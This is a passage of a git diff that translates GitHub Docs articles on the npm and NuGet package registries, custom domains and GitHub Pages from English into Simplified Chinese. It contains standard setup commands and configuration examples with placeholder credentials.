endif %} {% data variables.product.prodname_registry %}。 {% ifversion fpt or ghes or ghec %}通过 {% data variables.product.prodname_registry %} 路由所有包请求时,可以使用 *npmjs.org* 作用域内和作用域外的包。有关详细信息,请参阅 npm 文档中的“[npm 作用域](https://docs.npmjs.com/misc/scope)”。{% endif %} -{% ifversion ghae %} -By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. +{% ifversion ghae %} 默认情况下,你只能使用企业托管的 npm 包,将无法使用作用域外的包。 有关包作用域的详细信息,请参阅 npm 文档中的“[npm 作用域](https://docs.npmjs.com/misc/scope)”。 如果需要,{% data variables.product.prodname_dotcom %} 支持可以启用 npmjs.org 的上游代理。启用上游代理后,如果在企业中找不到请求的包,{% data variables.product.prodname_registry %} 会向 npmjs.org 发出代理请求。 {% endif %} -{% data reusables.package_registry.authenticate-step %} -{% data reusables.package_registry.create-npmrc-owner-step %} -{% data reusables.package_registry.add-npmrc-to-repo-step %} -1. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. Replace `/` with your package dependency. +{% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} +1. 在项目中配置 package.json 以使用要安装的包。 若要将包依赖项添加到 {% data variables.product.prodname_registry %} 的 package.json 文件,请指定完整的作用域内包名称,例如 `@my-org/server`。 对于来自 npmjs.com 的包,请指定全名,例如 `@babel/core` 或 `@lodash`。 将 `/` 替换为包依赖项。 ```json { @@ -192,27 +175,24 @@ By default, you can only use npm packages hosted on your enterprise, and you wil } } ``` -5. Install the package. +5. 安装此包。 ```shell $ npm install ``` -### Installing packages from other organizations +### 从其他组织安装包 -By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project. +默认情况下,您只能使用来自一个组织的 {% data variables.product.prodname_registry %} 包。 如果想将包请求路由到多个组织和用户,可以在 .npmrc 文件中添加额外的行,将 {% ifversion ghes or ghae %}HOSTNAME 替换为 {% data variables.location.product_location %} 的主机名,并将 {% endif %}OWNER 替换为拥有项目所在存储库的用户或组织帐户的名称 。 -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell @OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} @OWNER:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %} 如果实例禁用了子域隔离: ```shell @OWNER:registry=https://HOSTNAME/_registry/npm @@ -221,7 +201,7 @@ If your instance has subdomain isolation disabled: {% endif %} {% ifversion ghes %} -## Using the official NPM registry +## 使用官方 NPM 注册表 -{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). +{% data variables.product.prodname_registry %} 允许访问 `registry.npmjs.com` 上的官方 NPM 注册表,前提是你的 {% data variables.product.prodname_ghe_server %} 管理员已启用此功能。 有关详细信息,请参阅[连接到官方 NPM 注册表](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry)。 {% endif %} diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md index b071df613d..17ffc4f740 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the NuGet registry -intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' +title: 使用 NuGet 注册表 +intro: '你可以配置 `dotnet` 命令行接口 (CLI) 以将 NuGet 包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 .NET 项目中的依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-nuget-for-use-with-github-package-registry @@ -15,24 +15,27 @@ versions: ghae: '*' ghec: '*' shortTitle: NuGet registry +ms.openlocfilehash: cb9e190bb6cfa86ce1bdb31581de6e7d14e9dac8 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192919' --- - -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.package_registry.admins-can-configure-package-types %} -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} -{% ifversion packages-nuget-v2 %} -You can choose to give access permissions to packages independently for {% data variables.product.prodname_github_codespaces %} and {% data variables.product.prodname_actions %}. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)" and "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." +{% ifversion packages-nuget-v2 %} 可以选择为 {% data variables.product.prodname_github_codespaces %} 和 {% data variables.product.prodname_actions %} 单独授予对包的访问权限。 有关详细信息,请参阅“[确保 Codespace 具有包的访问权限](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)”和“[确保工作流具有包的访问权限](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)”。 {% endif %} -### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} +### 在 {% data variables.product.prodname_actions %} 中使用 `GITHUB_TOKEN` 进行身份验证 -Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a {% data variables.product.pat_generic %} in a nuget.config file in the repository: +在 {% data variables.product.prodname_actions %} 工作流中通过以下命令使用 `GITHUB_TOKEN` 向 {% data variables.product.prodname_registry %} 进行身份验证,而不是对存储库的 nuget.config 文件中的 {% data variables.product.pat_generic %} 进行硬编码: ```shell dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" @@ -40,20 +43,19 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB {% data reusables.package_registry.authenticate-packages-github-token %} -### Authenticating with a {% data variables.product.pat_generic %} +### 使用 {% data variables.product.pat_generic %} 进行身份验证 {% data reusables.package_registry.required-scopes %} -To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. +要使用 `dotnet` 命令行接口 (CLI) 向 {% data variables.product.prodname_registry %} 进行身份验证,请在项目目录中创建一个 nuget.config 文件,将 {% data variables.product.prodname_registry %} 指定为 `dotnet` CLI 客户端的 `packageSources` 下的源。 -You must replace: -- `USERNAME` with the name of your personal account on {% data variables.product.prodname_dotcom %}. -- `TOKEN` with your {% data variables.product.pat_v1 %}. -- `OWNER` with the name of the user or organization account that owns {% ifversion packages-nuget-v2 %}the package you want to install, or to which you want to publish a package{% else %}the repository containing your project{% endif %}.{% ifversion ghes or ghae %} -- `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} +必须: +- 将 `USERNAME` 替换为 {% data variables.product.prodname_dotcom %} 上的个人帐户的名称。 +- 将 `TOKEN` 替换为 {% data variables.product.pat_v1 %}。 +- 将 `OWNER` 替换为拥有{% ifversion packages-nuget-v2 %}要安装的包,或要向其发布包{% else %}包含项目的存储库{% endif %}的用户或组织帐户的名称。{% ifversion ghes or ghae %} +- 将 `HOSTNAME` 替换为 {% data variables.location.product_location %} 的主机名。{% endif %} -{% ifversion ghes %}If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %}如果实例启用了子域隔离:{% endif %} ```xml @@ -71,8 +73,7 @@ You must replace: ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %}如果实例禁用了子域隔离: ```xml @@ -91,54 +92,54 @@ If your instance has subdomain isolation disabled: ``` {% endif %} -## Publishing a package +## 发布包 -You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. +可通过使用 nuget.config 文件进行身份验证或使用包含 {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %} 的 `--api-key` 命令行选项,向 {% data variables.product.prodname_registry %} 发布包。 {% ifversion packages-nuget-v2 %} -The NuGet registry stores packages within your organization or personal account, and allows you to associate packages with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. +NuGet 注册表将包存储在组织或个人帐户中,并支持将包与存储库关联。 可以选择是从存储库继承权限,还是独立于存储库设置精细权限。 {% data reusables.package_registry.publishing-user-scoped-packages %} -If you specify a `RepositoryURL` in your `nuget.config` file, the published package will automatically be connected to the specified repository. For more information, see "[Publishing a package using a `nuget.config` file](/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry#publishing-a-package-using-a-nugetconfig-file)." For information on linking an already-published package to a repository, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." +如果在 `nuget.config` 文件中指定 `RepositoryURL`,则发布的包将自动连接到指定的存储库。 有关详细信息,请参阅“[使用 `nuget.config` 文件发布包](/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry#publishing-a-package-using-a-nugetconfig-file)”。 有关将已发布的包链接到存储库的信息,请参阅“[将存储库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。 {% endif %} -### Publishing a package using a GitHub {% data variables.product.pat_generic %} as your API key +### 使用 GitHub {% data variables.product.pat_generic %} 作为 API 密钥发布包 -If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +如果还没有用于 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} 上帐户的 PAT,请参阅“[创建 {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)”。 -1. Create a new project. +1. 创建新项目。 ```shell dotnet new console --name OctocatApp ``` -2. Package the project. +2. 打包项目。 ```shell dotnet pack --configuration Release ``` -3. Publish the package using your {% data variables.product.pat_generic %} as the API key. +3. 使用 {% data variables.product.pat_generic %} 作为 API 密钥发布包。 ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" ``` {% data reusables.package_registry.viewing-packages %} -### Publishing a package using a *nuget.config* file +### 使用 nuget.config 文件发布包 -When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. +发布时,需要将 csproj 文件中的 `OWNER` 值用于 nuget.config 身份验证文件 。 在 .csproj 文件中指定或递增版本号,然后使用 `dotnet pack` 命令创建该版本的 .nuspec 文件 。 有关创建包的详细信息,请参阅 Microsoft 文档中的“[创建和发布包](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)”。 {% data reusables.package_registry.authenticate-step %} -2. Create a new project. +2. 创建新项目。 ```shell dotnet new console --name OctocatApp ``` -3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: - - `OWNER` with the name of the user or organization account that owns the repository to which you want to connect your package. - - `REPOSITORY` with the name of the repository to which you want to connect your package. - - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} - - `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} +3. 将项目的特定信息添加到以 .csproj 结尾的项目文件中。 必须: + - 将 `OWNER` 替换为拥有要将包连接到的存储库的用户或组织帐户的名称。 + - 将 `REPOSITORY` 替换为要将包连接到的存储库的名称。 + - 将 `1.0.0` 替换为包的版本号。{% ifversion ghes or ghae %} + - 将 `HOSTNAME` 替换为 {% data variables.location.product_location %} 的主机名。{% endif %} ``` xml @@ -155,23 +156,23 @@ When publishing, you need to use the same value for `OWNER` in your *csproj* fil ``` -4. Package the project. +4. 打包项目。 ```shell dotnet pack --configuration Release ``` -5. Publish the package using the `key` you specified in the *nuget.config* file. +5. 使用在 nuget.config 文件中指定的 `key` 发布包。 ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" ``` {% data reusables.package_registry.viewing-packages %} -## Publishing multiple packages to the same repository +## 将多个包发布到同一个仓库 -To connect multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. +若要将多个包连接到同一个存储库,可以在所有 .csproj 项目文件的 `RepositoryURL` 字段中包含同一个 {% data variables.product.prodname_dotcom %} 存储库 URL。 {% data variables.product.prodname_dotcom %} 根据该字段匹配仓库。 -For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: +例如,OctodogApp 和 OctocatApp 项目将发布到同一个存储库 : ``` xml @@ -207,13 +208,13 @@ For example, the *OctodogApp* and *OctocatApp* projects will publish to the same ``` -## Installing a package +## 安装包 -Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. +在项目中使用来自 {% data variables.product.prodname_dotcom %} 的包类似于使用来自 nuget.org 的包。将包依赖项添加到 .csproj 文件,并指定包名称和版本 。 有关在项目中使用 .csproj 文件的详细信息,请参阅 Microsoft 文档中的“[使用 NuGet 包](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)”。 {% data reusables.package_registry.authenticate-step %} -2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file. Replace the `OctokittenApp` value in `Include="OctokittenApp"` with your package dependency, and replace the `12.0.2` value in `Version="12.0.2"` with the version you want to use: +2. 要使用包,请在 .csproj 项目文件中添加 `ItemGroup` 并配置 `PackageReference` 字段。 将 `Include="OctokittenApp"` 中的 `OctokittenApp` 值替换为包依赖项,并将 `Version="12.0.2"` 中的 `12.0.2` 值替换为要使用的版本: ``` xml @@ -235,19 +236,19 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project ``` -3. Install the packages with the `restore` command. +3. 使用 `restore` 命令安装包。 ```shell dotnet restore ``` -## Troubleshooting +## 故障排除 -Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . +如果 .csproj 中的 `RepositoryUrl` 未设置为预期存储库,则 NuGet 包可能无法推送。 -If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes. +如果使用的是 nuspec 文件,请确保它具有包含必要的 `type` 和 `url` 属性的 `repository` 元素。 -If you're using a `GITHUB_TOKEN` to authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, the token cannot access private repository-based packages in a different repository other than where the workflow is running in. To access packages associated with other repositories, instead generate a {% data variables.product.pat_v1 %} with the `read:packages` scope and pass this token in as a secret. +如果使用 `GITHUB_TOKEN` 对 {% data variables.product.prodname_actions %} 工作流内的 {% data variables.product.prodname_registry %} 注册表进行身份验证,则令牌无法在工作流运行范围以外的其他存储库中访问基于专用存储库的包。 若要访问与其他存储库关联的包,请改为生成具有 `read:packages` 范围的 {% data variables.product.pat_v1 %},并将此令牌作为机密传入。 -## Further reading +## 延伸阅读 -- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" +- [删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md index 264d7bd5dc..5e77f1bfa3 100644 --- a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md +++ b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md @@ -1,6 +1,6 @@ --- -title: About custom domains and GitHub Pages -intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.' +title: 关于自定义域名和 GitHub 页面 +intro: '{% data variables.product.prodname_pages %} 支持使用自定义域名,或者将网站的 URL 根目录从默认值(如 `octocat.github.io`)更改为你拥有的任何域名。' redirect_from: - /articles/about-custom-domains-for-github-pages-sites - /articles/about-supported-custom-domains @@ -14,58 +14,62 @@ versions: topics: - Pages shortTitle: Custom domains in GitHub Pages +ms.openlocfilehash: a2c5ae3df0e2dd6248db6e03fd7c64e973b14f3d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145130285' --- +## 支持的自定义域 -## Supported custom domains +{% data variables.product.prodname_pages %} 可使用两种类型的域名:子域名和 apex 域名。 有关不支持的自定义域列表,请参阅“[自定义域和 {% data variables.product.prodname_pages %} 故障排除](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)”。 -{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)." - -| Supported custom domain type | Example | +| 支持的自定义域类型 | 示例 | |---|---| -| `www` subdomain | `www.example.com` | -| Custom subdomain | `blog.example.com` | -| Apex domain | `example.com` | +| `www` 子域 | `www.example.com` | +| 自定义子域 | `blog.example.com` | +| Apex 域 | `example.com` | -You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)." +可以为站点设置顶点和/或 `www` 子域配置。 有关 apex 域的详细信息,请参阅“[对 {% data variables.product.prodname_pages %} 站点使用顶点域](#using-an-apex-domain-for-your-github-pages-site)”。 -We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content, but you need to make the DNS changes to use the `www` subdomain. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +建议始终使用 `www` 子域,即使同时使用顶点域也是如此。 当你使用顶点域创建新网站时,我们会自动尝试保护 `www` 子域,以便在提供你的站点内容时使用,但你需要进行 DNS 更改才能使用 `www` 子域。 如果你配置 `www` 子域,我们会自动尝试保护相关的顶点域。 有关详细信息,请参阅“[为你的 {% data variables.product.prodname_pages %} 站点管理自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)”。 -After you configure a custom domain for a user or organization site, the custom domain will replace the `.github.io` or `.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`. -For more information about each type of site and handling custom domains, see "[Types of {% data variables.product.prodname_pages %} sites](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." +在配置用户或组织站点的自定义域后,自定义域将替换未配置自定义域的帐户所拥有的任何项目站点 URL 的 `.github.io` 或 `.github.io` 部分。 例如,如果你的用户站点的自定义域为 `www.octocat.com`,并且你拥有一个未配置自定义域且从名为 `octo-project` 的存储库发布的项目站点,则该存储库的 {% data variables.product.prodname_pages %} 站点将在 `www.octocat.com/octo-project` 上提供。 -## Using a subdomain for your {% data variables.product.prodname_pages %} site +## 对您的 {% data variables.product.prodname_pages %} 网站使用子域名 -A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`. +子域名是根域前 URL 的一部分。 你可以将子域配置为 `www` 或站点的独特部分,如 `blog.example.com`。 -Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)." +DNS 提供商为子域配置 `CNAME` 记录。 有关详细信息,请参阅“[为你的 {% data variables.product.prodname_pages %} 站点管理自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)”。 -### `www` subdomains +### `www` 子域 -A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain. +`www` 子域是最常用的子域类型。 例如,`www.example.com` 包括 `www` 子域。 -`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers. +`www` 子域是最稳定的自定义域类型,因为 `www` 子域不受 {% data variables.product.product_name %} 服务器的 IP 地址变动的影响。 -### Custom subdomains +### 自定义子域 -A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`. +自定义子域是一种不使用标准 `www` 变体的子域。 自定义子域主要在您需要将网站分为两个不同的部分时使用。 例如,可以创建一个名为 `blog.example.com` 的站点并独立于 `www.example.com` 自定义该部分。 -## Using an apex domain for your {% data variables.product.prodname_pages %} site +## 对您的 {% data variables.product.prodname_pages %} 网站使用 apex 域 -An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains. +顶点域是不包含子域的自定义域,如 `example.com`。 Apex 域也称为基础域、裸域、根 apex 域或区域 apex 域。 -An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)." +DNS 提供商为顶点域配置 `A`、`ALIAS` 或 `ANAME` 记录。 有关详细信息,请参阅“[为你的 {% data variables.product.prodname_pages %} 站点管理自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)”。 -{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)." +{% data reusables.pages.www-and-apex-domain-recommendation %} 有关详细信息,请参阅“[为你的 {% data variables.product.prodname_pages %} 站点管理自定义域](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)”。 -## Securing the custom domain for your {% data variables.product.prodname_pages %} site +## 保护 {% data variables.product.prodname_pages %} 网站的自定义域 -{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{% data reusables.pages.secure-your-domain %} 有关详细信息,请参阅“[验证 {% data variables.product.prodname_pages %} 的自定义域](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)”和“[为你的 {% data variables.product.prodname_pages %} 站点管理自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)”。 -There are a couple of reasons your site might be automatically disabled. +有许多原因会导致您的网站被自动禁用。 -- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)." -- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)." +- 如果您从 {% data variables.product.prodname_pro %} 降级到 {% data variables.product.prodname_free_user %},则目前发布自您的帐户中私有仓库的任何 {% data variables.product.prodname_pages %} 站点都会取消发布。 有关详细信息,请参阅“[将 {% data variables.product.prodname_dotcom %} 计费计划降级](/articles/downgrading-your-github-billing-plan)”。 +- 如果将私人仓库转让给使用 {% data variables.product.prodname_free_user %} 的个人帐户,仓库将失去对 {% data variables.product.prodname_pages %} 功能的访问,当前发布的 {% data variables.product.prodname_pages %} 站点将取消发布。 有关详细信息,请参阅“[转让存储库](/articles/transferring-a-repository)”。 -## Further reading +## 延伸阅读 -- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)" +- [自定义域和 {% data variables.product.prodname_pages %} 故障排除](/articles/troubleshooting-custom-domains-and-github-pages) diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md index 960da5c7d3..e8d1ec4e99 100644 --- a/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md +++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -1,6 +1,6 @@ --- -title: About GitHub Pages -intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.' +title: 关于 GitHub Pages +intro: '您可以使用 {% data variables.product.prodname_pages %} 直接从 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的仓库托管关于自己、您的组织或您的项目的站点。' redirect_from: - /articles/what-are-github-pages - /articles/what-is-github-pages @@ -18,134 +18,129 @@ versions: ghec: '*' topics: - Pages +ms.openlocfilehash: 1063adbe5396569110af1809a8619440e3bf106b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147507987' --- +## 关于 {% data variables.product.prodname_pages %} -## About {% data variables.product.prodname_pages %} +{% data variables.product.prodname_pages %} 是一项静态站点托管服务,它直接从 {% data variables.product.product_name %} 上的仓库获取 HTML、CSS 和 JavaScript 文件,(可选)通过构建过程运行文件,然后发布网站。 可以在 [{% data variables.product.prodname_pages %} 示例集合](https://github.com/collections/github-pages-examples)中看到 {% data variables.product.prodname_pages %} 站点的示例。 -{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples). - -{% ifversion fpt or ghec %} -You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)." +{% ifversion fpt or ghec %} 你可以在 {% data variables.product.prodname_dotcom %} 的 `github.io` 域或自己的自定义域上托管站点。 有关详细信息,请参阅“[将自定义域与 {% data variables.product.prodname_pages %} 配合使用](/articles/using-a-custom-domain-with-github-pages)”。 {% endif %} -{% ifversion fpt or ghec %} -{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% ifversion fpt or ghec %} {% data reusables.pages.about-private-publishing %} 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[更改 {% data variables.product.prodname_pages %} 站点的可见性]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% 